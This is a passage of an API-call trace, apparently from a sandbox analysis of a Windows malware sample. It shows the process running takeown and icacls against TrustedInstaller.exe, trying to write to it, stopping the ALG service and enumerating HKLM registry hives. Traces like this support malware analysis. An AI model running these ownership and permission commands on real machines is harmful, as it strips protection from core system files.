"c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.161] GetLastError () returned 0x5 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0177.161] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessInformation=0x36f4a4*(hProcess=0x140, hThread=0x14c, dwProcessId=0x440, dwThreadId=0x4fc)) returned 1 [0177.164] NtClose (Handle=0x14c) returned 0x0 [0177.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0177.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0177.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0177.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0177.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0177.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0177.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0177.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0177.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0177.165] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x2710) returned 0x0 [0177.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0177.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0177.559] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x150, hThread=0x14c, dwProcessId=0x7d8, dwThreadId=0x318)) returned 1 [0177.562] NtClose (Handle=0x14c) returned 0x0 [0177.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0177.562] NtClose (Handle=0x140) returned 0x0 [0177.562] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0177.917] NtClose (Handle=0x150) returned 0x0 [0177.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0177.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0177.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0177.918] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.918] GetLastError () returned 0x5 [0177.918] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0177.919] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0177.919] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0177.919] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x20) returned 0x803990 [0177.919] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0177.919] GetLastError () returned 0x426 [0177.919] CloseServiceHandle (hSCObject=0x803990) returned 1 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0177.920] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0177.920] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.920] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.920] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.921] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.921] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.921] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0177.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0177.922] RegCloseKey (hKey=0x80000002) returned 0x0 [0177.922] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.922] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.922] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.922] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0177.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.923] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.923] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.923] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0177.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.924] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.924] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.924] 